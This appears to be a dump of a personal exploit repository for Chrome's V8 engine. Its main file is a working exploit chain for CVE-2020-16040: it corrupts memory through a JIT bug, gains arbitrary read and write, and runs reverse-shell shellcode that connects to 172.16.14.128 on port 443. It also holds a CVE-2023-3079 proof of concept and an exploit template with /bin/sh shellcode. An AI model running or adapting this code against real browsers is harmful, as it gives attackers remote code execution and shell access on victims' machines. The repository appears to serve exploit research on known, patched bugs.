test: [/(apple)?webkit\/537\.36/i], 1253 | describe: function() { 1254 | return { 1255 | name: "Blink" 1256 | } 1257 | } 1258 | }, { 1259 | test: [/(apple)?webkit/i], 1260 | describe: function(e) { 1261 | var t = { 1262 | name: "WebKit" 1263 | }, 1264 | r = n.default.getFirstMatch(/webkit\/(\d+(\.?_?\d+)+)/i, e); 1265 | return r && (t.version = r), t 1266 | } 1267 | }]; 1268 | r.default = s, e.exports = t.default 1269 | }) ? n.apply(t, i) : n) || (e.exports = s) 1270 | } 1271 | }) 1272 | }); 1273 | -------------------------------------------------------------------------------- /CVE-2020-16040/debug/debug.js: -------------------------------------------------------------------------------- 1 | /* 2 | This version of the exploit has redacted features including abort check 3 | functions and shellcode, as well as, altering execution flow, including 4 | payload delivery and specification. It can, however, be ran against ./d8 5 | directly for testing & debugging. 6 | */ 7 | 8 | //define clean exit 'abort' function 9 | function abort(msg) { 10 | throw new Error(msg); 11 | } 12 | 13 | function exploit() { 14 | // Helper functions to convert between float and integer primitives 15 | var buf = new ArrayBuffer(8); // 8 byte array buffer 16 | var f64_buf = new Float64Array(buf); 17 | var u64_buf = new Uint32Array(buf); 18 | 19 | function ftoi(val) { // typeof(val) = float 20 | f64_buf[0] = val; 21 | return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness 22 | } 23 | 24 | function itof(val) { // typeof(val) = BigInt 25 | u64_buf[0] = Number(val & 0xffffffffn); 26 | u64_buf[1] = Number(val >> 32n); 27 | return f64_buf[0]; 28 | } 29 | 30 | //trigger bug with typer hardening bypass 31 | function foo(a) { 32 | //MAX_INT of 32-bit signed integer. 33 | var y = 0x7fffffff; 34 | //Widening condition to fail the first `if` clause inside VisitSpeculativeIntegerAdditiveOp (SpecualtiveSafeIntegerAdd node). 35 | if (a == NaN) y = NaN; 36 | if (a) y = -1; 37 | let z = (y + 1) | 0; 38 | //should return false, but got true. 39 | z = (0x80000000 == z); 40 | if (a) z = -1; 41 | //satisfy the bounds check elimination (CheckBounds) 42 | let l = Math.sign(z); 43 | l = l < 0 ? 0 : l; 44 | 45 | /* 46 | TurboFan interprets z is a + num, but it is actually a - number, 47 | which satisfies the usage conditions of the arr.shift(); trick. 48 | */ 49 | 50 | //real value: 1, optimiser: Range(-1, 0) 51 | let arr = new Array(l); 52 | 53 | // arr.length = -1, leads to oob 54 | arr.shift(); 55 | 56 | //creating cor array 57 | let cor = [1.1, 1.2, 1.3]; 58 | return [arr, cor]; 59 | } 60 | 61 | // JIT-compiling the foo(); function for optimisation. 62 | for (let i = 0; i < 0x10000; i++) 63 | foo(true); 64 | console.log('[process] optimising the function to trigger the bug'); 65 | 66 | const ret = foo(false); 67 | var arr = ret[0]; 68 | var cor = ret[1]; 69 | 70 | //Make sure returned arr.length is -1, otherwise exit cleanly as would indicate out-of-bounds failure. 71 | if (arr.length >= 0) { 72 | abort('[error] failed to attain out-of-bounds, exploit failed from bad array length') 73 | } else { 74 | console.log('[success] out-of-bounds plausible, obtained a negative array length') 75 | } 76 | 77 | //oob r/w functions 78 | console.log('[process] attempting to overwrite the length of the corrupted array'); 79 | 80 | //we use the original array `arr` to corrupt the length of the 'cor' array. 81 | arr[16] = 0x4242; //overwrite cor array length for OOB read (0x4242 = 16962) 82 | 83 | //make sure returned cor.length has been overwritten, otherwise exit. 84 | if (cor.length < 16962) { 85 | abort('[error] failed to overwrite the length of the second array.'); 86 | } else { 87 | console.log('[success] length of second array overwritten to ' + cor.length); 88 | } 89 | 90 | // leak float_array_map 91 | let float_array_map = ftoi(cor[3]); 92 | console.log(`[success] leaked corrupted array map at: 0x${float_array_map.toString(16)}`); 93 | 94 | //addrof primitive - takes an object and returns its address in memory. 95 | function addrof(obj) { 96 | arr[11] = obj; 97 | return ftoi(cor[2]); 98 | } 99 | 100 | //fakeobj primitive - create an object in memory which we can r/w to. 101 | function fakeobj(addr) { 102 | cor[2] = itof(addr); 103 | return arr[11]; 104 | } 105 | 106 | //arbitrary read/write 107 | rw_arr = [itof(float_array_map), 1.1, 1.2, 1.3] 108 | fake = fakeobj(addrof(rw_arr) + 0x20n); 109 | 110 | //arb_read primitive 111 | function arb_read(addr) { 112 | fake = fakeobj(addrof(rw_arr) + 0x20n); 113 | rw_arr[1] = itof((0x12n << 32n) + (addr += 1n) - 0x8n); 114 | return ftoi(fake[0]); 115 | } 116 | 117 | //arb_write primitive 118 | function arb_write(addr, val) { 119 | fake = fakeobj(addrof(rw_arr) + 0x20n); 120 | rw_arr[1] = itof((0x12n << 32n) + (addr += 1n) - 0x8n); 121 | fake[0] = itof(val); 122 | return; 123 | } 124 | 125 | //creating an rwx WASM segment 126 | var wasmCode = new Uint8Array([ 127 | 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 128 | 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 129 | 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 130 | 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 131 | 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 132 | 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 133 | 0x2a, 0x0b 134 | ]); 135 | 136 | var wasmModule = new WebAssembly.Module(wasmCode); 137 | var wasmInstance = new WebAssembly.Instance(wasmModule, {}); 138 | var wasm_entry = wasmInstance.exports.main; 139 | 140 | let rwx = arb_read(addrof(wasmInstance) + 0x67n); 141 | console.log(`[success] rwx web assembly segment created at 0x${rwx}`); 142 | 143 | console.log('[process] staging the static payloads'); 144 | 145 | //writing shellcode to rwx 146 | function write(buf) { 147 | let tmp = new ArrayBuffer(buf.length); 148 | let view = new DataView(tmp); 149 | let backing_store_addr = addrof(tmp) + 0x13n; 150 | arb_write(backing_store_addr, rwx); 151 | for (let i = 0; i < buf.length; i++) { 152 | view.setUint8(i, buf[i]); 153 | } 154 | } 155 | 156 | //reverse linux tcp shell payload: 172.16.14.128 (tcp\443) 157 | var shellcode = new Uint8Array([ 158 | 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 159 | 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, 160 | 0x02, 0x00, 0x01, 0xbb, 0xac, 0x10, 0x0e, 0x80, 161 | 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 162 | 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 163 | 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 164 | 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 165 | 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 166 | 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 167 | 0x0f, 0x05 168 | ]); 169 | 170 | //write shellcode for it to be executed in memory 171 | write(shellcode); 172 | wasm_entry(); 173 | } 174 | setTimeout(exploit, 1500); 175 | -------------------------------------------------------------------------------- /CVE-2020-16040/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | exploit 5 | 6 | 7 | 8 | Open dev tools console and check listener. 9 | 10 | 11 | -------------------------------------------------------------------------------- /CVE-2020-16040/sandbox_esc/CVE-2020-16041.js: -------------------------------------------------------------------------------- 1 | // WIP 2 | -------------------------------------------------------------------------------- /CVE-2020-16040/sandbox_esc/README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2021-16041 Sandbox Escape 2 | Work in progress, to be chained with CVE-2020-16040 exploit in prior dir for full-chain exploit. 3 | 4 | ## Resources 5 | [CVE-2020-16041](https://nvd.nist.gov/vuln/detail/CVE-2020-16041) 6 | -------------------------------------------------------------------------------- /CVE-2023-3079/README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |
4 | Typing SVG 5 |
6 |

7 | 8 | ## Overview 9 | 10 | [IN PROGRESS] 11 | 12 | [CVE-2023-3079](https://nvd.nist.gov/vuln/detail/CVE-2023-3079) is a logic issue in Chrome's V8 `Inline Cache` subsystem, procedure `KeyedStorelC::StoreElementHandler`. 13 | 14 | The presence of deficient code in this context resulted in the omission of consideration for the 15 | fast packed elements kind on receiver and generated incorrect builtin code for storing into keyed array elements, leading to type confusion. 16 | 17 | This bug has been patched in versions `114.0.5735.106-110` at [commit e144f3b](https://github.com/v8/v8/commit/e144f3b) onwards from the following Chromium-based Edge and Chrome versions (inclusive): 18 | 19 | | Microsoft Edge Version | Based on Chromium Version | 20 | | --- | --- | 21 | | 114.0.1823.41 | 114.0.5735.110 | 22 | 23 | More details [here](https://chromium-review.googlesource.com/c/v8/v8/+/4584248). There's also a [gist](https://gist.github.com/MaxBWMinRTT/bd47b17cac9eef20efe3040b5a50e043) that has some notes around this which are worth looking at. 24 | 25 | 26 | ## Unpatched 27 | 28 | ```sh 29 | DebugPrint: 0x2e560000026d: [Oddball] in ReadOnlySpace: #hole 30 | 0x2e56000001a1: [Map] in ReadOnlySpace 31 | - type: ODDBALL_TYPE 32 | - instance size: 28 33 | - elements kind: HOLEY_ELEMENTS 34 | - unused property fields: 0 35 | - enum length: invalid 36 | - stable_map 37 | - non-extensible 38 | - back pointer: 0x2e5600000251 39 | - prototype_validity cell: 0 40 | - instance descriptors (own) #0: 0x2e5600000295 41 | - prototype: 0x2e5600000235 42 | - constructor: 0x2e5600000235 43 | - dependent code: 0x2e5600000229 44 | - construction counter: 0 45 | ``` 46 | 47 | ## Patched 48 | 49 | ```sh 50 | DebugPrint: 0x1dcf00000251: [Oddball] in ReadOnlySpace: #undefined 51 | 0x1dcf00000151: [Map] in ReadOnlySpace 52 | - type: ODDBALL_TYPE 53 | - instance size: 28 54 | - elements kind: HOLEY_ELEMENTS 55 | - unused property fields: 0 56 | - enum length: invalid 57 | - stable_map 58 | - undetectable 59 | - non-extensible 60 | - back pointer: 0x1dcf00000251 61 | - prototype_validity cell: 0 62 | - instance descriptors (own) #0: 0x1dcf00000289 63 | - prototype: 0x1dcf00000235 64 | - constructor: 0x1dcf00000235 65 | - dependent code: 0x1dcf00000229 66 | - construction counter: 0 67 | ``` 68 | 69 | -------------------------------------------------------------------------------- /CVE-2023-3079/debug/poc.js: -------------------------------------------------------------------------------- 1 | /* 2 | Patch commit -> e144f3b 3 | -> https://github.com/v8/v8/commit/e144f3b 4 | -> https://chromium-review.googlesource.com/c/v8/v8/+/4584248 5 | -> patched in v114.0.5735.106-110 6 | 7 | Reference(s): 8 | -> https://crbug.com/1450481 9 | -> https://nvd.nist.gov/vuln/detail/CVE-2023-3079 10 | -> @alisaesage 11 | -> @mistymntncop 12 | -> @MaxBWMinRTT 13 | */ 14 | 15 | 16 | function set(arr, key, val) { 17 | arr[key] = val; 18 | } 19 | function leak_hole() { 20 | for(let i = 0; i < 10; i++) { 21 | set(arguments, "foo", 1); 22 | } 23 | set([], 0, 1); 24 | set(arguments, 0, 1); 25 | return arguments[1]; 26 | } 27 | %DebugPrint(leak_hole()); 28 | -------------------------------------------------------------------------------- /Helper Scripts/find_PPR_instruction_seq.wds: -------------------------------------------------------------------------------- 1 | .block 2 | { 3 | .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) 4 | { 5 | .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) 6 | { 7 | s-[1]b 10000000 10226000 $t0 $t1 c3 8 | } 9 | } 10 | } 11 | 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | # Exploits 6 | 7 | This repository contains some exploits I have written for various bugs (some of these exploits are ancient and vanilla, they are indexed here regardless). 8 | 9 | Typically, moving forward, my exploits will predominantly aim to be those pertaining to browser and (maybe) iOS and Android exploitation (with exception). Alongside my own written exploits that corroborate with identified bugs that are actively being exploited in the wild. For more information on the latter, refer to CISAs [Known Exploited Vulnerabilities Catalogue](https://www.cisa.gov/known-exploited-vulnerabilities-catalog). 10 | 11 | | CVE ID | Description | Target OS | Arch | 12 | | ------------- | ------------- | ------------- | ---------| 13 | | [CVE-2024-0517](https://nvd.nist.gov/vuln/detail/CVE-2024-0517) | The vulnerability resides in the `VisitFindNonDefaultConstructorOrConstructMaglev` function where the Maglev compiler performs an allocation folding optimisation. The bug is leveraged by initiating a garbage collection event over this folded allocation, resulting in a second-order out-of-bounds write on a free space object. This allows for type confusion upon attaining the desired memory shape, leading to arbitrary code execution. The exploit is chained with a heap sandbox (ubercage) escape via tiering budgets (i.e. WasmInstanceObject's `tiering_budget_array` was allocated on the system heap and referenced from the (on-heap) `WasmInstanceObject` through a raw pointer) | Linux | x64 | 14 | | [CVE-2023-3079](https://nvd.nist.gov/vuln/detail/CVE-2023-3079) | Type confusion as a result of a logic issue in Chrome's V8 `Inline Cache` subsystem, procedure `KeyedStorelC::StoreElementHandler`. | Windows, Linux, MacOS (x64) | x64 | 15 | | [CVE-2020-16040](https://nvd.nist.gov/vuln/detail/CVE-2020-16040) | Chrome's V8 JIT compiler's Simplified Lowering `VisitSpeculativeIntegerAdditiveOp` was setting `Signed32` as restriction type, even when relying on a `Word32` truncation, skipping an overflow check. To summarise, the problem was due to a mistyping of nodes despite the value wrapping/overflowing. Which allowed for a typer hardening bypass to achieve out-of-bounds r/w primitives, leading to arbitrary remote code execution within the renderer's process. | Windows, Linux, MacOS | x64, ARM64 | 16 | | [CVE-2018-6537](https://nvd.nist.gov/vuln/detail/CVE-2018-6537) | Structure Exception Handling (SEH) overflow in the control protocol | Windows 10 Pro | x86 | 17 | | [CVE-2017-14980](https://nvd.nist.gov/vuln/detail/CVE-2017-14980) | Vanilla Stack Overflow via `/login` parameter | Windows 10 Pro | x86 | 18 | | [CVE-2012-5002](https://nvd.nist.gov/vuln/detail/CVE-2012-5002) | Vanilla Stack Overflow Ricoh DC DL-10-FTP-Server SR10 | Windows Server 2003 (0SP) | x86 | 19 | | [CVE-2002-1120](https://nvd.nist.gov/vuln/detail/CVE-2002-1120) | Savant Web Server =< 3.1 Buffer Overflow (Egghunter employed due to buffer restrictions) | Windows 10 Pro | x86 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /Templates/type_confuse_exploit_template.js: -------------------------------------------------------------------------------- 1 | // Offsets will need to be altered depending on context as well as some other changes. 2 | // ? indicates where context needs to be applied 3 | 4 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 5 | var wasmModule = new WebAssembly.Module(wasmCode); 6 | var wasmInstance = new WebAssembly.Instance(wasmModule, {}); 7 | var f = wasmInstance.exports.main; 8 | 9 | var f64 = new Float64Array(1); 10 | var bigUint64 = new BigUint64Array(f64.buffer); 11 | var u32 = new Uint32Array(f64.buffer); 12 | 13 | function d2u(v) { 14 | f64[0] = v; 15 | return u32; 16 | } 17 | function u2d(lo, hi) { 18 | u32[0] = lo; 19 | u32[1] = hi; 20 | return f64[0]; 21 | } 22 | //convert an integer represented as a floating-point value to an integer represented as an integer (ftoi) 23 | function ftoi(f) 24 | { 25 | f64[0] = f; 26 | return bigUint64[0]; 27 | } 28 | function itof(i) 29 | { 30 | bigUint64[0] = i; 31 | return f64[0]; 32 | } 33 | function hex(i) 34 | { 35 | return i.toString(16).padStart(8, "0"); 36 | } 37 | 38 | function fakeObj(addr_to_fake) 39 | { 40 | ? 41 | } 42 | 43 | function addressOf(obj_to_leak) 44 | { 45 | ? 46 | } 47 | 48 | function read64(addr) 49 | { 50 | fake_array[1] = itof(addr - 0x8n + 0x1n); 51 | return fake_object[0]; 52 | } 53 | 54 | function write64(addr, data) 55 | { 56 | fake_array[1] = itof(addr - 0x8n + 0x1n); 57 | fake_object[0] = itof(data); 58 | } 59 | 60 | function copy_shellcode_to_rwx(shellcode, rwx_addr) 61 | { 62 | var data_buf = new ArrayBuffer(shellcode.length * 8); 63 | var data_view = new DataView(data_buf); 64 | var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n; 65 | var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n; 66 | var lov = d2u(read64(buf_backing_store_addr_lo))[0]; 67 | var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]); 68 | var hiv = d2u(read64(buf_backing_store_addr_up))[1]; 69 | var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]); 70 | var buf_backing_store_addr = ftoi(u2d(lov, hiv)); 71 | console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr)); 72 | 73 | write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo)); 74 | write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi)); 75 | for (let i = 0; i < shellcode.length; ++i) 76 | data_view.setFloat64(i * 8, itof(shellcode[i]), true); 77 | } 78 | 79 | var double_array = [1.1]; 80 | var obj = {"a" : 1}; 81 | var obj_array = [obj]; 82 | var array_map = ?; 83 | var obj_map = ?; 84 | 85 | var fake_array = [ 86 | array_map, 87 | itof(0x4141414141414141n) 88 | ]; 89 | 90 | fake_array_addr = addressOf(fake_array); 91 | console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr)); 92 | fake_object_addr = fake_array_addr - 0x10n; 93 | var fake_object = fakeObj(fake_object_addr); 94 | var wasm_instance_addr = addressOf(wasmInstance); 95 | console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr)); 96 | var rwx_page_addr = read64(wasm_instance_addr + 0x68n); 97 | console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr))); 98 | 99 | var shellcode = [ 100 | 0x2fbb485299583b6an, 101 | 0x5368732f6e69622fn, 102 | 0x050f5e5457525f54n 103 | ]; 104 | 105 | copy_shellcode_to_rwx(shellcode, rwx_page_addr); 106 | f(); 107 | --------------------------------------------------------------------------------